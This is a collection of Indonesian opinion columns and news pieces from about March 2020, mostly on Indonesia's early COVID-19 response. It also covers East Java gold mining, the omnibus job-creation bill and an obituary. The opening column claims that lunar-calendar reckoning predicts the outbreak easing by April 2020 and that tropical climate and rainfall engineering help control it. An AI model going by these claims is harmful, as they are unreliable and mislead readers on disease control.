COVID-19, diperkirakan baru akan dapat diatasi atau mereda paling cepat pada akhir bulan April 2020. Sayangnya penanggalan berdasarkan perhitungan bulan, yang banyak memberikan pemahaman terjadinya fenomena alam itu, tidak lagi banyak dipakai, bahkan sudah ditinggalkan, dianggap kuno dan berbau mistik. Hampir di seluruh dunia fokus mengunakan kalender perhitungan matahari, sehingga kebanyakan orang sulit memahami fenomena alam, selain hanya berguna untuk peringatan hari-hari yang tidak jelas pangkal ujungnya. Seyogyanya kaum muslimin kembali mengunakan penaggalan hijriyah, agar mudah menyesuikan diri dengan perubahan alam. Saking tidak tahunya, menganggap bahwa alam enggan bersahabat dengan manusia, padahal sebaliknya manusialah yang harus bersahabat dengan alam. Melihat perkembangan yang terjadi di banyak negara, wabah virus corona ini telah menjadi persoalan yang sangat serius. Setidaknya lebih dari 80 ribu dinyatakan suspect, dan 4% dari jumlah itu telah meninggal dunia. Bagi Indonesia, kondisi iklim tropis akan sangat membantu dan menguntungkan dalam pengendalian wabah penyakit. Meski demikian pemerintah harus bertindak cepat, berlomba dengan waktu. Di jaman modern ini, berbagi rekayasa teknologi untuk menghindari mengganasnya suatu wabah penyakit mudah dan harus segera dilakukan. Misalnya dengan mengatur curah hujan suatu wilayah, agar tidak terlalu lembab, merekayasa arah angin, penyemprotan desinfektan pada area tertentu dengan drone, dll, dll. Berkaitan dengan mewabahnya virus corona, dan upaya pencegahan, apakah Alquran dan Chadits menuntun, amalan yang tepat dilakukan pada bulan Rajab, sebagai salah satu bulan haram ini? Bagaimana hubungannya dengan kandungan ayat tentang bulan haram yang melarang agar tidak menthzolimi nafs (sebagai sel genetik) dirimu sendiri itu? BERSAMBUNG #SERI 2.... Penulis adalah Holistic Healing Consulting, Expert and Inventor Medical Quran, tinggal di Bogor, Indonesia.

Indonesia Positif Corona. Alhamdulillah....

Oleh Hersubeno Arief Jakarta, FNN - Alhamdulillah. Akhirnya akal sehat itu kembali. Mudah-mudahan menjadi virus yang menyehatkan bangsa, kendati datangnya cukup terlambat. Presiden Jokowi Senin (2/3) mengumumkan dua orang warga positif Corona. Pengakuan ini merupakan “kasus pertama” di Indonesia, walaupun banyak yang meragukan. Termasuk para pemimpin dan lembaga kesehatan dunia sekelas WHO. Lebih baik terlambat, daripada tidak sama sekali. Bisa dibayangkan apa yang akan terjadi, bila pemerintah terus menerus membantah. Menganggap bangsa Indonesia adalah spesies istimewa. Sekelompok manusia yang kebal. Imun terhadap pandemi global ini. Cara pandang pemerintah dan penanganan terhadap virus Corona selama ini sangat mengkhawatirkan. Ada kesan menganggap enteng, meremehkan, naif, bercampur dengan ketidaksiapan, ketidakmampuan dan kebingungan menghadapi bencana. Yang lebih konyol, pemerintah terkesan menganggap musibah ini sebagai berkah. Presiden Jokowi misalnya malah meminta anggota kabinetnya untuk menggalakkan kegiatan-kegiatan konferensi dalam negeri, Meeting, Incentive, Convention, and Exhibition (MICE). Menggalakkan promosi menyasar ceruk pasar wisatawan manca negara (wisman) yang mencari destinasi wisata karena batal ke RRC, Jepang dan Korea. Wisatawan dungu dari manakah mereka? Jokowi bukan asal bicara. Dia sangat serius dengan langkah “cerdasnya” itu. Arahan Jokowi itu kemudian ditindaklanjuti secara serius. Kementerian Pariwisata menyiapkan berbagai stimulus untuk mendongkrak kunjungan ke Indonesia. Wisman diberi berbagai insentif. Mulai dari potongan tiket, sampai anggaran untuk para influencer sebesar Rp 72 miliar. Pemerintah juga menyediakan anggaran promosi wisata sebesar Rp 103 miliar. Menko Maritim Luhut Panjaitan malah berharap para pekerja Cina segera kembali ke Indonesia. Mengerjakan berbagai proyek infrastruktur di Indonesia yang terancam mangkrak karena wabah Corona. Betapa santainya pemerintah menghadapi virus Corona juga tercermin dari data Badan Pusat Statistik (BPS). Sepanjang bulan Januari-sampai Februari 2020, jumlah turis asing ke Indonesia meningkat. Cina bersama Malaysia dan Singapura —dua negara tetangga yang telah secara resmi mengumumkan adanya kasus Corona— menjadi penyumbang terbesar. Malaysia 275 ribu kunjungan (21,66%) Cina 214 ribu kunjungan (17,91%). Singapura dengan 148 ribu kunjungan. Jumlah wisman asal Malaysia turun, sementara Cina malah naik 1.46%. Coba perhatikan, itu merupakan data resmi. Betapa besarnya angka kunjungan “wisatawan” Cina ke Indonesia. Kita tidak pernah tahu berapa yang masuk melalui jalur tidak resmi. Negara-negara lain membatasi dengan sangat ketat wisatawan asal negara Tirai Bambu itu. Kita malah mengundang masuk. Untunglah kedunguan itu tidak berlanjut. Menteri Pariwisata Wisnuthama mengumumkan kebijakan mengundang wisatawan itu ditunda. "Ditunda, di-review dulu. Sampai lebih jelas lagi kondisinya," tutur Wisnuthama Selasa (3/2). Mudah-mudahan kebijakan itu merupakan tanda-tanda bahwa akal sehat telah kembali. Mudah-mudahan virus akal sehat itu diikuti berbagai kebijakan lain yang lebih masuk akal. Pertumbuhan ekonomi sangat penting. Namun nyawa rakyat Indonesia jauh lebih penting. Lagi pula ketika virus Corona sudah menjadi pandemi global, siapa pula orang gila yang masih nekad jalan-jalan keliling dunia? Mudah-mudahan virus akal sehat itu juga menular ke rakyat Indonesia. Tidak panik, hanya memikirkan diri sendiri. Menyerbu dan memborong persediaan makanan, menguras habis ATM, dan berbagai perbuatan konyol lainnya yang akan merugikan kita semua. Mudah-mudahan virus Corona ini juga bisa menyatukan kembali bangsa Indonesia yang terpecah belah karena perbedaan kepentingan politik. Dalam menghadapi musibah, sangat penting kita bersatu padu, bahu membahu, tolong menolong. Menunjukkan solidaritas. Jangan pernah berpikir akan selamat sendiri. Kualitas bangsa, khususnya kualitas para pemimpinnya tengah diuji. Tidak ada salahnya meniru langkah pemimpin negeri tetangga. Presiden Singapura Halimah Jacob dan para pejabat tinggi lainnya memotong gajinya satu bulan. Dibagikan sebagai bonus untuk para petugas medis yang berjibaku mempertaruhkan nyawanya. PM Singapura Lee Hsien Loong sebelumnya menyampaikan pidato. Mengajak rakyatnya berani dan bersatu menghadapi virus Corona. "Melewati masa yang penuh tekanan bersama-sama." Itu baru namanya pemimpin! Penulis wartawan senior.

Ditunggu, Kebijakan Strategis Gubernur Soal Tumpang Pitu!

Oleh Mochamad Toha Jakarta, FNN - Jejak digital mencatat, berdasarkan hasil pengamatan satelit internasional, terdapat 26 ribu ha tambang emas antara Lumajang-Malang, 56-58 ribu ha antara Tulungagung-Trenggalek, dan 96 ribu ha di Pacitan. Melansir Liputan6.com (04 Feb 2019, 10:01 WIB), jika data dari satelit internasional tersebut valid, bisa jadi wilayah Jatim ini merupakan daerah kumpulan emas terbesar kedua di dunia setelah Afrika Selatan, atau paling besar se-Asia Tenggara. Terlebih lagi industri perhiasan di Jatim yang mempunyai peran strategis dalam mendukung pertumbuhan ekonomi setempat, sebab permintaan terhadap produk perhiasan, khususnya emas, menunjukkan trend semakin meningkat. Karena selain berfungsi sebagai karya seni yang mampu memperindah penampilan, produk perhiasan juga bisa digunakan untuk sarana investasi menjanjikan bagi para inverstor, bahkan industrinya mampu menyerap tenaga kerja mencapai 17.600 orang dilansir Antara. Keberadaan 26 unit industri perhiasan skala besar dan menengah, serta 1.854 unit industri perhiasan skala kecil di Jatim yang lokasinya tersebar pada 11 kabupaten/kota sangat berperan besar untuk mendukung ekspor. Yakni, di Surabaya, Gresik, Sidoarjo, Kabupaten Mojokerto, Kota Mojokerto, Lamongan, Kabupaten Pasuruan, Kabupaten Malang, Kota Malang, Lumajang dan Pacitan. Berdasarkan data di Pemprov Jatim hingga triwulan menjelang akhir tahun lalu, ekspor perhiasan telah mencapai 2,16 miliar dolar AS, bahkan industri ini memiliki kontribusi hingga 50 persen terhadap produksi perhiasan nasional. Negara potensial yang menjadi sasaran ekspor perhiasan asal Jatim antara lain Amerika Serikat, Jepang, China-Hong Kong serta Swiss. Selain tambang emas yang masih tertimbun di dalam “perut bumi” di wilayah Lumajang, Malang, Tulungagung, Trenggalek, dan Pacitan, di dua daerah lainnya sudah diekplorasi penambangannya, yakni di Banyuwangi dan Jember. Di Banyuwangi, pertambangan berada Dusun Pancer, Kecamatan Pesanggaran, Kabupaten Banyuwangi, sedangkan di Jember berada di Kecamatan Silo. Proses eksplorasi dan pertambangan emas di dua daerah tersebut tak berjalan mulus, sebab sebagian warga dan sejumlah pihak menolaknya dengan alasan merusak lingkungan. Di sini diperlukan “lompatan kebijakan” dari Gubernur Jatim Khofifah Indar Parawansa. Bunda Khofifah, demikian panggilan akrab gubernur wanita pertama di Jatim ini, yang juga sebagai gubernur zaman now itu merupakan harapan yang luar biasa dari masyarakat. Karena ia adalah gubernur yang berpikiran lateral, tidak linier. Sehingga, Bunda bukan hanya harus mempertahankan laju pertumbuhan ekonomi, tapi juga perlu adanya lompatan-lompatan ekonomi. Bukan sekedar melanjutkan pendahulunya. Itulah harapan masyarakat Jatim pada Gubernur Khofifah. Sebagai gubernur zaman now juga, Bunda diharapkan berpola pikir zig-zag, harus berpola pikir lateral, bukanlah linier, yang selama ini banyak dipahami orang dengan berpola pikir lateral. “Sebagai Srikandi-nya Gus Dur (KH Abdurrahman Wahid), Bunda Khofifah diharapkan bisa melanjutkan pola pikir ala Gusdurian yang berpola pikir lateral,” ungkap seorang pengusaha yang pernah malang melintang di dunia pertambangan. Jatim dikaruniai oleh Allah SWT suatu potensi yang sangat besar, yang salah satu kawasan yang daratannya dilintasi ring of fire (cincin api) terpanjang di Indonesia. Dan, tentu saja di dalamnya ada berkah potensi mineral dan tambang yang sangat besar juga. Bahkan, jejak-jejak Eropa yang dibangun pada abad XV semasa Gubernur Raffles bisa kita dapati di berbagai daerah di Jatim. Khususnya, di kawasan gunung Gumitir (Curahwangkal/ Silo, sampai pada rentetan gunung Tumpang Pitu, Banyuwangi). Tapi, sayangnya, selama setahun ini tanda-tanda akan melakukan lompatan ekonomi berpola pikir lateral dengan kebijakan-kebijakan yang melompat, itu belum ada tanda-tanda ke arah sana. “Bahkan, selama setahun ini, seperti yang dikhawatirkan banyak orang akan pertumbuhan ini sangat lambat dibanding pendahulunya mendekati kenyataan. Tidak terjadi pola pikir zig-zag, seperti Gus Dur,” lanjutnya. Untuk itu kebijakan-kebijakan yang brilian dengan berpihak kepada rakyat, harus dirumuskan oleh Gubernur Khofifah. Apalagi, Pemprov Jatim punya Dewan Riset dan Dewan Pakar yang semuanya dibiayai APBD untuk membantu Bunda dalam mengambil kebijakan-kebijakan. Mereka harus melakukan riset-riset kedalaman, bukan hanya permukaan. Bagaimana isi perut bumi Jatim itu. Ini bisa menjadi kebijakan untuk kemakmuran masyarakat Jatim. Sebab, yang berhak melakukan itu semua adalah gubernur, bukan dari sekelompok elit politik atau kekuatan presure group dan taipan-taipan tertentu. Tapi, memang harus diorientasinya untuk masyarakt Jatim dengan cara membuka potensi-potensi Jatim. Itu ada semua dan haru dibuka secara transparan ke publik, mulai dari migas, aurum (Au, emas), perak, tembaga, molib dinum (ini lebih mahal dari emas), aluminium, bismuth oxy cloride, uranium, mercuri, sampai uranium itu ada di perut bumi Jatim. Itu adalah kekayaan yang diberikan Allah SWT kepada rakyat Jatim. Sehingga diharapkan pada tahap eksplorasi juga melibatkan masyarakat Jatim, terlebih lagi saat eksploitasi, harus melibatkan masyarakat Jatim. Bukan hanya pemilik modal saja. Kemarahan masyarakat sekitar potensi tambang itu jangan sampai dijadikan objek/penonton atas kehadiran investasi dan peralatan yang datang di sana. Libatkan mereka dalam usaha itu. Sebab, adanya isi perut bumi itu juga hasil dari doa-doa leluhur mereka di sana yang hasilnya justru untuk anak cucu mereka. Beroperasinya PT Bumi Suksesindo (BSI) di Tumpang Pitu ada bagian yang tidak terpisahkan dari deretan usaha dan geliat pertambangan di wilayah Jember-Banyuwangi yang sebelumnya dieksplorasi oleh Yusuf Merukh melalui PT Metal Jember-Banyuwangi, tapi belum berhasil. Di era kepemimpinan Bupati Banyuwangi Abdullah Azwar Anas, akhirnya PT BSI berhasil mengekplorasi maupun ekspoitasi tambang Tumpang Pitu yang awalnya merupakan hutan lindung. Wilayah ini adalah inti dari tambang emas dunia, yang sangat besar. Sebagai “Srikandi Jatim”, seharusnya Bunda Khofifah membuka potensi-potensi di Jatim itu. Persoalan-persoalan hari ini masyarakat Tumpang Pitu itu karena mereka dipertontonkan oleh ketidak adilan. Sehingga timbul yang namanya kecemburuan soslal dan ekomoni. Mereka yang selama ini sehari-harinya sudah secara turun-temurun menambang di kawasan tersebut akhirnya mereka merasa diperlakukan tidak adil. Banyak diantara masyarakat yang mengambil limbah-limbah itu yang kemudian ditangkapi oleh polisi karena dianggap ilegal. Dengan teknololgi leaching (proses pencucian dan pelarutan sisa-sisa limbahnya) yang rata-rata dalam tiga malam itu bisa menghasilkan Rp 25-50 juta, itu biasanya dikerjakan oleh satu kelompok (1-5 orang). Di situ selama ini pula ada mata rantai ekonomi. Dengan alasan tambang ilegal, maka mereka ditangkapi. Dalam persoalan seperti ini seharusnya negara hadir. Katakanlah, pemodal diberi porsi 70%, Pemkab PI 10%, dan yangg 20% itu penduduk sekitar. Jangan semuanya diambil oleh pemodal besar. Kalau itu tidak dilakukan Gubernur Khofifah, persoalan pertambangan, tidak akan pernah selesai. Isu lingkungan itu hanya dipakai untuk melawan pengusaha tambang. Padahal, teknologi PT BSI itu luar biasa canggihnya. Bahkan, putra-putra terbaik bangsa ini yang sudah melanglang buana ke seluruh dunia dipanggil untuk menggarap ini. Gunung Tumpang Pitu itu nantinya tetap ada di atasnya dengan tanaman-tanaman hijau yang ada. Ini diarahkan ke zero accident karena ramah lingkungan. Isu lingkungan tersebut dijadikan semacam kitabnya mereka untuk melakukan penambangan di dalamnya. Di situ hasilnya luar biasa. Seperti Sandiaga Uno yang melepas sahamnya untuk biaya kampanye itu. Jadi, Gubernur Khofifah harus segera mengeluarkan kebijakan yang cerdas. Kebijakan yang bersumber pada pemikiran-pemikiran lateral. Yang penting itu Gubernur lakukan lompatan-lompatan kebijakan. Out off the box, tidak terkungkung oleh pemikiran-pemikiran biasa. Demo-demo yang terjadi selama ini, itu sebenarnya alat untuk pertahanan masyakarat, bentuk perlawanan dari masyarakat, karena melihat begitu besarnya kekuatan modal. Mereka butuh keadilan saja. Mungkin dengan 20% itu membuat masyarakat bisa sejahtera. Menurut Data Dinas Energi Sumber Daya Mineral (ESDM) Jatim, baru 15-20 persen SDA di Jatim yang sudah dieksplorasi aktivitas pertambangan. Kepala Dinas ESDM Jatim Setiajit mengatakan, masih banyak potensi pertambangan yang membentang dari Banyuwangi, Lumajang, Malang, Blitar, Tulungagung, Pacitan, sampai Ponorogo. Baik sumber daya mineral, logam, tembaga, perak, bahkan emas di Jatim, menurutnya, belum tereksplorasi dengan baik. “Apalagi minyak dan gas, luar biasa di Jawa Timur,” katanya, Kamis (21/11/2019). Potensi pertambangan Jawa Timur itu membentang di sepanjang Jawa Timur bagian Selatan dan tengah. Di Pegunungan Kendeng, misalnya, ada kandungan kapur, fosfat, dolomit, dan kalsium belum terolah. “Banyak sekali potensi lainnya. Ada wilayah yang dikuasai masyarakat, ada juga wilayah Perhutani,” ujarnya. *** Penulis wartawan senior.

Obituari Ahmad Iskandar Bait

Innalilahi wainailaihi roji'un.... Jakarta, FNN - Saya kenal Iskandar sudah sejak tahun 1990-an, ketika kami sering bertemu di lapangan meliput kegiatan dan peristiwa di bidang keuangan, perbankan dan ekonomi. Saya dengan Iskandar sering bertemu saat liputan di Bank Indonesia atau Depkeu (sekarang Kemenkeu). Waktu itu Iskandar masih bekerja di RCTI. Dalam berbagai kesempatan, Iskandar selalu mengingatkan saya tentang bahaya kapitalisme dan liberalisme ekonomi. Karena kita bekerja di media yang berbeda, pilihan nara sumber (ekonomi dan bisnis) juga kerap berlainan. Intinya, Iskandar mengingatkan saya agar otak dan pemikiran saya jangan sampai terpengaruh para nara sumber ekonomi liberal sebagaimana yang sering dibaca Iskandar di media tempat saya bekerja. Kemudian pada tahun 1990-an tepatnya di tengah krisis ekonomi tahun 1998, Iskandar juga yang memperkenalkan saya dengan salah satu pengamat ekonomi nyentrik almarhum Dr Hartojo Wignjowijoto. Saat terjadi krisis moneter pertengahan 1997 yang ditandai dengan gejolak mata uang rupiah, bahkan Hartojo dianggap sebagai ekonom gila. Betapa tidak, ditengah situasi masyarakat dan pemerintah sedang panik, tetiba waktu itu Hartojo memprediksi Rupiah bisa menembus angka Rp 5.000 per dollar AS. Sebelum krisis moneter, mata uang rupiah memang dipatok di angka Rp 2.500 per dollar AS. Kebijakan moneter yang diterapkan BI waktu itu adalah managed floating rate. Ini sudah diterapkan selama puluhan tahun. Jadi kalau ada yang berpendapat aneh dan nyeleneh seperti Dr Hartojo waktu itu, kerap dianggap sebagai ekonom yg tidak argumentatif. Bahkan sebagian lagi... menyebut Hartojo, itu tadi sebagai ekonom gila. Namun setelah ada serangan badai krisis moneter, akhirnya BI tidak tahan menahan tekanan terhadap rupiah dan merubah kebijakan moneternya menjadi free floating rata (mengambang bebas) dimana penentuan nilai rupiah ditentukan oleh market, suplai demand di pasar uang (money market). Gubenur BI waktu itu Soedrajad Djiwandono dan juga Menkeu Mar'ie Muhammad, tidak bisa berbuat apa-apa kecuali tunduk dengan keinginan pasar. Dan aksi investor keuangan George Soros yang secara massif menyerang pasar keuangan di Asia melalui money market pun berhasil. Pasar-pasar keuangan di Asia berhasil dikuasainya dan dia menangguk keuntungan yang besar. Malah krisis moneter yang dialami Indonesia merembet ke krisis ekonomi dan sosial politik. Bahkan krisis multidimensi di negara ini sampai melengserkan Soeharto dari jabatannya sebagai Presiden pada bulan Mei 1998. Nah, interaksi serta diskusi saya dengan Iskandar banyak dilakukan ditengah situasi ekonomi politik Indonesia seperti diatas. Kemudian agar saya mendapat perspektif dari nara sumber ekonomi lainnya yang anti mainstream, Iskandar sengaja mengatur pertemuan saya di rumah Dr Hartojo Wignjowijoto di kawasan Kemang Jakarta. Ternyata tidak mudah menangkap isi pemikiran dari seorang ekonom nyentrik ini karena dia banyak guyon kalau sedang ngobrol serius. "Justru kalau dia sedang guyon artinya dia sedang ngomong serius gun," begitu kata Iskandar ketika saya mengeluhkan "hambatan" saya berkomunikasi dengan Dr Hartojo. Itu sepintas interaksi saya dengan Iskandar di masa masa periode Indonesia in Crisis. Selanjutnya Iskandar bercerita kepada saya tentang konfliknya dengan bos besarnya di tempat dia bekerja. Sampai akhirnya dia resign. Sebelum bekerja di RCTI, sahabat saya ini pernah bekerja pula di Majalah InfoBank. Setelah keluar dari RCTI dia kemudian pernah singgah berkarya di TVOne, kemudian pindah lagi ke media Investor Daily. Nah pada tahun 2000-an, saya jarang bertemu dengan Iskandar. Baru setelah Iskandar bekerja di Otoritas Jasa Keuangan (OJK), saya dipertemukan kembali dengan beliau. Salah satu kisah yang dia ceritakan adalah pengalaman religiusnya yang mendapat pertolongan dan kesempatan untuk hidup yang kedua kali. "Saya pernah mendapat serangan penyakit stroke berat Gun. Memory saya hilang, sama sekali gak ingat apa-apa. Alhamdulillah.. Allah SWT masih memberi kesempatan hidup kepada saya untuk beribadah, beramal dan berbuat kebaikan," kata Iskandar. Dia mengisahkan, secara teknis medis dirinya sudah selesai hidupnya waktu itu. Tapi Allah taala punya kehendak lain. Selanjutnya, kalau saya bertemu dengan Iskandar tidak semata ngobrol santai atau membicarakan situasi negara ini, tapi kita saling bertukar cerita dan pengalaman hikmah. Saya sering mendpatkan pencerahan soal agama dalam praktek kehidupan dari Iskandar. Selain bertemu setiap mendapat undangan dari PT Astra Internasional (PT AI) saat acara buka puasa di bulan Ramadhan, kami juga kerap bertemu dan berdiskusi di Jalan Majapahit membicarakan semua hal dalam perspektif keagamaan dan kebangsaan. Tidak hanya itu, Iskandar yang juga aktif menulis novel kerap mengajak saya untuk menjenguk sesama wartawan yang sakit atau meninggal dunia. Bahkan saya pernah diajak Iskandar utk Takziah pada salah satu bekas anak buahnya di Investor Daily yang meninggal beberapa waktu lalu. Walaupun secara pribadi saya tidak kenal, tapi Iskandar memberi info pada saya bahwa almarhum adalah orangnya baik, pekerja keras dan kepala rumah tangga yang sangat bertanggung jawab. Akhirnya, kita bertemu di rumah alamarhum bekas anak buahnya itu. Sebelum Allah SWT mencabut roh dari jasad Iskandar pada hari Senin sore (2/3) beberpa hari sebelumnya saya sempat menjenguk dia di RS Premier Bintaro. Cuma waktu itu, Iskandar sudah dipindahkan dari ruang rawat inap ke ruang ICU dimana jam besuk dibatasi hanya satu jam. Saya hanya bertemu dengan istrinya Iskandar di luar ruang ICU. Dari cerita istrinya, aktivitas Iskandar sebelum masuk rumah sakit seperti biasa berangkat kerja ke kantornya di OJK. Selain itu, setiap hari Sabtu dia mengajar di Universitas Ibnu Chaldun di Rawamangun Jakarta. "Bahkan mas Iskandar ditunjuk pihak kampus utk menjadi Ketua Program Pendidikan Ekonomi Syariah. Dia juga aktif di komunitas Betawi. Dia pernah tidak tidur mas semalaman karena harus merampungkan buku Betawi," cerita istrinya yang didampingi dua yunior Iskandar yang masih muda. Umur saya dengan Iskandar hanya terpaut dua bulan. Iskandar lahir 1 Januari 1966 saya baru brojol dari rahim Ibu pada bulan Maretnya. Ketika melayat Iskandar Senin malam, banyak teman2nya yang pernah sekantor di RCTI, InfoBank, InvestorDaily, TVOne dan OJK, yang datang menjenguk, mensholatkan dan mendo'akan Iskandar. Melalui tulisan ini kami bersaksi sahabat tercintaku H. Ahmad Iskandar Bait adalah salah satu orang yang baik (min ahlil Khoir). Semoga Allah SWT mengampuni segala dosanya, menerima ibadah dan amal baiknya sehingga bisa dimasukkan Surga FirdausNya. Aamiin yaa robbal alamin. Alfatihah. By Tjahja Gunawan.

Mungkinkah Corona Depok Hanya Puncak Gunung Es?

By Asyari Usman Jakarta, FNN - Banyak yang tak percaya, terutama komunitas internasional, bahwa Indonesia bebas dari virus Corona. Sempat pula seru perdebatan antara para pejabat pemerintah dengan berbagai pihak termasuk warganet. Tapi, akhirnya, Presiden Jokowi, Senin (2/3/2020) mengumumkan dua orang Indonesia positif menderita virus Corona (Covid-19). Kedua wanita masing-masing berusia 64 dan 31. Salah seorangnya, yang berusia 31, dikatakan pernah berkontak dengan seorang perempuan Jepang yang bermukim di Malaysia. Mereka pernah berdansa bersama di sebuah klub di Jakarta, kata Menteri Kesehatan Terawan Agus Putranto. Kedua warga Depok tsb sekarang dirawat di RS Penyakit Infeksi Prof Sulianti Saroso di Jakarta Utara. Pengumuman ini mengakhiri harapan agar Corona tak masuk ke Indonesia. Tetapi, tidak akan mengakhiri perdebatan terkait penanganan ancaman virus ganas itu. Bahkan akan semakin mempertajam kritik dan kontrakritik. Salah satu pertanyaan yang memerlukan jawaban adalah, apakah dua warga Depok yang positif Covid-19 itu hanya ‘puncak gunung es’ dari kemungkinan banyaknya penyandang Corona yang tak terdeteksi di bawah permukaan? Pertanyaan berikutnya adalah, apakah pemerintah selama ini serius mencegah migrasi Corona ke negara ini? Seterusnya, apakah Indonesia sudah menjadi “tuan rumah” Corona? Sangat mendebarkan sekali seandainya dua orang Depok itu hanya ‘wakil’ dari sekian banyak penyandang Corona. Hanya “tip of the iceberg” saja. Puncak gunung es yang tersembunyi di bawah permukaan. Tentu sangat menakutkan kalau nanti faktanya seperti itu. Tetapi, mungkinkah ini menjadi kenyataan? Wallahu a’lam. Tak seorang pun diantara kita yang ingin melihat gunung es itu muncul. Tapi, publik menjadi curiga ada yang tak beres. Misalnya, ketika ada berita tentang tersangka Corona dirawat di sejumlah rumah sakit, pihak yang berwenang cenderung defensif menghadapinya. Ada kesan, pemerintah mengambil garis “denial” (membantah) kalau ada yang berbicara soal dugaan kasus-kasus Corona. Para jurubicara pemerintah setingkat menteri pun selalu menggunakan narasi yang membantah. Termasuk Menko Polhukam Mahfud MD. Lebih-kurang Pak Mahfud bilang, “Sampai hari ini tidak ada Corona di Indonesia. Besok-lusa kita tidak tahu.” Ternyata, betul juga. Hari-hari berikutnya berubah. Sekarang, bagaimana dengan keseriusan pemerintah dalam mencegah migrasi Corona ke Indonesia? Dari sisi tindakan preventif yang dilakukan oleh pemerintah, pantas-pantas saja publik menilai tidak serius. Artinya, dalam sebulan-dua ini tidak ada langkah keras yang diterapkan. Misalnya, sepanjang Januari, tercatat 113 ribu pengunjung dari China masuk ke Bali. Padahal, China masih menjadi episentrum Corona. Dan rata-rata negara lain menolak kedatangan pengunjung dari RRC. Pengawasan di pintu masuk internasional, tidak ketat. Di awal-awal wabah Corona tempohari sempat tersiar pemerintah akan menerapkan tindakan keras itu. Tapi kemudian prosedur pemantauan menjadi lunak. Belakangan ini, penumpang internasional tampaknya hanya diminta mengisi formulir yang intinya menanyakan nama, alamat di Indonesia, dan apakah ada mengalami badan panas, dlsb. Inilah yang dialami oleh anak saya, tiga hari lalu, ketika pulang dari Malaysia ke Yogyakarta via KLIA (bandara Kuala Lumpur). Petugas di bandara Adi Sucipto (Yogya) hanya memberikan kepada para penumpang semacam formulir yang “tidak serius”. Anak saya menelefon sambil menggerutukan lemahnya pengawasan di bandara. Dia mengatakan, sangat bisa para penumpang menuliskan informasi bohong. Di tengah suasana dunia seperti ini, mana mungkin penumpang suka rela mengatakan kondisi badannya yang tidak normal? Dan mana mungkin penumpang akan menyebutkan ke mana saja mereka pergi belakangan ini. Jadi, mungkin saja selama berminggu-minggu ini ada banyak penumpang internasional yang masuk via laut, udara, atau darat yang tidak terdeteksi membawa Corona. Bisa juga mereka tidak mengalami sakit. Bisa pula ada gejala tetapi kemudian hilang. Namun, tentu ada saja peluang para “penyandang senyap” Corona akan terungkap dalam waktu-waktu mendatang ini. Na’uzubillah. Semoga saja tidak. Nah, apakah Indonesia sudah menjadi “tuan rumah” Corona, dalam arti sudah terjadi penularan diantara sesama warga masyarakat? Bukan dibawa dari luar? Bisa tidak. Bisa iya. Kalau dilihat dari kasus Depok, kronologi yang kita pahami adalah bahwa kedua warga positif Corona itu mendapatkannya dari wanita Jepang yang sempat berdansa bersama si wanita yang berusia 31 tahun. Wanita ini kemudian menularkan ke ibunya yang berusia 64 tahun. Kalau urutan kejadian ini benar, berarti Indonesia belum menjadi “tuan rumah”. Corona yang masuk masih berstatus bawaan dari luar. Tapi, kalau dibaca laporan tentang tiga kasus baru di Singapura, ada satu hal menarik terkait dengan wilayah Batam. Otoritas kesehatan Singapura mengatakan, ketiga pasien baru itu tidak pernah pergi ke China atau Korea Selatan. Tetapi mereka pernah pergi ke Batam antara 21-23 Febaruari 2020. Singapura tidak mengatakan secara pasti bahwa ketiga orang itu tertular di Batam. Tetapi, mereka dinyatakan positif sepulang dari pulau Indonesia yang berjarak dekat dengan Singapura itu. Pertanyaannya, mungkinkah ada Corona yang menjadi “tuan rumah” di Batam? Inilah yang belum terdeteksi dan tidak mudah untuk dideteksi. Kembali ke kedua wanita Depok tadi. Kalau mereka sudah sempat meneruskan virus itu ke orang lain, berarti sudah lahir ‘generasi kedua’ Corona di Indonesia. Ini mungkin saja terjadi karena kedua wanita tsb sempat dirawat di RS Mitra Keluarga, Depok. Andaikata ada diantara 76 petugas medis RSMK yang sekarang dirumahkan itu menjadi tempat hinggap Corona, itu berarti telah berlanjut ke ‘generasi ketiga’, dst. Dari sini, terbuka kemungkinan “community epidemic”. Yaitu, penyebaran di lingkungan masyarakat. Bukan lagi Corona “asing” seperti yang dibawa wanita Jepang. Memang masih bisa disebut “blasteran” tetapi sudah menjadi “Corona WNI”. Kalau nanti ada Corona ‘generasi kedua’ atau ‘generasi ketiga’ yang sudah “WNI”, ini bisa sangat merepotkan. Kita tidak lagi bisa berasumsi bahwa orang lokal yang kita jumpai di mana-mana, bebas dari Corona. Kewaspadaan ke arah ini sudah dimulai. Ada sejumlah sekolah yang guru-gurunya mengubah salam tangan dengan murid ketika jam masuk pagi. Mereka tidak lagi bersentuhan.[] 3 Maret 2020 Penulis wartawan senior.

RUU Omnibus Cipta “Fasilitas Kerja Untuk Korporasi”

By Dr. Margarito Kamis (Bagian Kedua) Jakarta FNN - Apakah RUU Omnibus Cipta Kerja mengatur pemberian hak eksklusif pada korporasi? Tidak. Jelas itu. Tetapi bukan itu pointnya. Pembatalan peraturan perundangan yang dinilai bertentangan dengan kebijakan investasi, pengaturan jam kerja, dan pengaturan skema upah pekerja, sanksi administrasi bagi perorangan penebang pohon di hutan, semuanya menguntungkan korporasi. Benar tidak ada teks yang secara eksplisit berisi pengaturan yang memberi hak eksklusif kepada korporasi dalam RUU ini. Jelas itu. Jelas pula, karena tidak mungkin muncul norma seperti itu. Tetapi serangkain norma, misalnya pengaturan jam kerja dan upah kerja dalam RUU ini, memiliki konsekuensi tak terlihat yang menguntungkan korporasi. Apa konsekuensi tak terlihat itu? Tidak logis mewajibkan pekerja yang bekerja jam-jaman atau bekerja kurang dari setahun untuk diberi pesangon. Nalarnya adalah tidak memberi pesangon atau fasilitas lainnya kepada pekerja, untuk alasan apapun, menurut RUU ini merupakan tindakan hukum yang sah dipakai oleh korporasi menghadapi pekerja. Pekerja tidak memiliki argumen, misalnya bersandar pada UU lain, UU Tenaga Kerja misalnya, menolak keputusan Korporasi. Mengapa? Bila kelak RUU ini menjadi UU, maka berlakukah prinsip hukum UU terbaru mengesampingkan UU yang terlebih dahulu. Toh dilihat dari sudut sifatnya, rezim dan materinya sama. Pekerja sengsara, dan Korporasi senang. Bagaimana dengan pekerja asing? Proyeksi tentative mereka turut senang. Mengapa? Toh mereka dapat bekerja sesuai skema kerja dalam RUU ini. Kerja untuk tertentu, setahun atau dua tahun, bahkan kurang dari itu, yang menjadi tipikal pekerja asing, jelas sejalan dengan tabiat korporasi. Mengapa? Pola kerja itu membebaskan korporasi dari serangkaian kewajiban. Spirit, skema dan sifat norma dalam RUU ini, sekali lagi, tipikal korporasi. Ini hebat. Hebat, karena korporasi tak perlu bersusah payah memperolehnya. Toh telah tersedia dalam RUU ini. Kelak setelah jadi UU, korporasi 